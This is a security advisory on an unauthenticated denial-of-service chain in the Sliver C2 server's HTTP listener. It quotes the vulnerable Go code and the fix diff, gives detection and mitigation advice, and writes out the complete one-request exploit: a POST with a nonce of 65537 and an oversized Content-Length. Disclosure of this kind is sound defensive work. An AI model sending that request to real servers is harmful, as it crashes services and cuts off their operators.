GHSA-hjr9-wj7v-7hv8: Unauthenticated DoS in Sliver's HTTP Listener
A moderate-severity vulnerability (CVSS 5.5) in BishopFox's Sliver C2 framework lets an unauthenticated attacker crash the HTTP listener with a single request. No credentials required, no special configuration needed. The server allocates memory without restriction and the process dies.
Three weaknesses combine. None of them are severe on their own. Chained together, a remote attacker can kill the C2 server, drop active sessions, and lock out operators until someone restarts the process.
The vulnerability chain
NoEncoder bypass
lowEncoderFromNonce() returns a passthrough encoder when nonce % 65537 equals 0, allowing any unauthenticated client to produce a valid request.
Unauthenticated routing
mediumanonymousHandler() forwards requests with a valid encoder straight to startSessionHandler() with no auth check in between.
Unbounded memory allocation
criticalstartSessionHandler() calls io.ReadAll(req.Body) without a size limit, allocating memory proportional to attacker-controlled Content-Length.
Bug 1: The NoEncoder bypass
Sliver selects an encoder for each HTTP request using nonce-based modular arithmetic. The nonce arrives as a query parameter and the server computes nonce % 65537 to pick an encoder.
From server/encoders/encoders.go:
const (
// EncoderModulus - The modulus used to calculate the encoder
// ID from a C2 request nonce
EncoderModulus = uint64(65537)
)
// EncoderFromNonce - Convert a nonce into an encoder
func EncoderFromNonce(nonce uint64) (uint64, encutil.Encoder, error) {
encoderID := uint64(nonce) % EncoderModulus
if encoderID == 0 {
return 0, new(encutil.NoEncoder), nil // <-- passthrough
}
if encoder, ok := EncoderMap[encoderID]; ok {
return encoderID, encoder, nil
}
return 0, nil, fmt.Errorf("invalid encoder id: %d", encoderID)
}
A nonce that is a multiple of 65537 produces encoderID == 0. The function returns NoEncoder, a passthrough that skips encoding, alongside a nil error. The server accepts the request as valid protocol traffic.
The math
65537 (2^16 + 1) is the encoder modulus. Sending ?q=65537, ?q=131074, or any multiple satisfies nonce % 65537 == 0 and triggers the passthrough path.
Bug 2: Unauthenticated routing
Requests without a valid session cookie land in anonymousHandler, which tries to find an encoder from the URL. A valid encoder sends the request into startSessionHandler, the function that handles new implant registrations.
From server/c2/http.go:
func (s *SliverHTTPC2) anonymousHandler(
resp http.ResponseWriter,
req *http.Request,
) {
encoder, err := getEncoder(req.URL, nil)
if err != nil {
s.stagerHandler(resp, req)
return
} else {
s.startSessionHandler(resp, req, encoder)
return
}
}
Our crafted nonce gives getEncoder a valid NoEncoder, so err is nil. The router passes the request straight to startSessionHandler. No authentication gate sits between them.
Bug 3: Unbounded memory allocation
This is the bug that makes the chain exploitable. Before commit e9890bc, startSessionHandler read the full request body with no size cap.
func (s *SliverHTTPC2) startSessionHandler( resp http.ResponseWriter, req *http.Request, encoder sliverEncoders.Encoder, ) {- // No size limit on body read- body, err := io.ReadAll(req.Body)+ // Capped at 8 MB for unauthenticated requests+ body, err := io.ReadAll(&io.LimitedReader{+ R: req.Body,+ N: int64(DefaultMaxUnauthBodyLength),+ }) if err != nil { httpLog.Errorf("Failed to read body %s", err) s.defaultHandler(resp, req) return } data, err := encoder.Decode(body) // ... }The authenticated handler (readReqBody) always used a bounded reader:
// Authenticated path — always had a limit
body, err := io.ReadAll(&io.LimitedReader{
R: req.Body,
N: int64(DefaultMaxBodyLength), // 2 GB
})
The size constants in server/c2/http.go:
const (
DefaultMaxBodyLength = 2 * 1024 * 1024 * 1024 // 2 GB — authenticated
DefaultMaxUnauthBodyLength = 8 * 1024 * 1024 // 8 MB — unauthenticated (added in fix)
)
The authenticated path caps at 2 GB. The unauthenticated path had no cap at all.
The attack
Attack sequence
Attacker sends POST /path.js?q=65537
Content-Length: 9999999999
EncoderFromNonce(65537)
65537 % 65537 == 0 → returns NoEncoder (passthrough)
anonymousHandler → startSessionHandler
Valid encoder, no auth check
io.ReadAll(req.Body)
Allocates ~10 GB based on Content-Length
Server process crashes (OOM)
All HTTP sessions dropped, operators locked out
The full exploit is one HTTP request:
POST /some-path.js?q=65537 HTTP/1.1
Host: target-sliver-server:443
Content-Length: 9999999999
A single unauthenticated HTTP request takes down the Sliver listener. Active implant sessions connected over HTTP drop. Operators lose access until someone restarts the process.
Impact
Who is affected
Red teams and adversary simulation operators use Sliver as their C2 framework. If you run Sliver 1.5.0 through 1.5.44 with an HTTP or HTTPS listener on a reachable network, you are vulnerable.
A defender who fingerprints the Sliver HTTP listener (identifiable through nonce-based URL patterns) can kill the C2 server with curl. In a purple team exercise, blue teams can shut down red team infrastructure in a single request.
Detection signal
If you run a blue team: look for HTTP requests with query parameter values that are multiples of 65537, especially on unusual ports or paths. This nonce pattern fingerprints Sliver HTTP C2 traffic.
Recommendations
Mitigations
Build from main. The fix exists in the repo but has not shipped in a release. Clone and compile from the latest commit.
Restrict network access. Place the HTTP listener behind a reverse proxy or firewall that limits source addresses.
Monitor for anomalous requests. Alert on query parameters that are multiples of 65537.
Automate restarts. If you cannot patch, ensure process monitoring restarts the listener on crash.
CWE classification
CWE-770: Allocation of Resources Without Limits or Throttling. The server allocated memory proportional to attacker-controlled input with no upper bound.
Advisory details
| Field | Value |
|---|---|
| Advisory ID | GHSA-hjr9-wj7v-7hv8 |
| Severity | Moderate (CVSS 5.5) |
| Affected package | github.com/bishopfox/sliver |
| Affected versions | 1.5.0 through 1.5.44 |
| Patched versions | None (fix on main, unreleased) |
| CWE | CWE-770 |
| Reporter | @0xkato |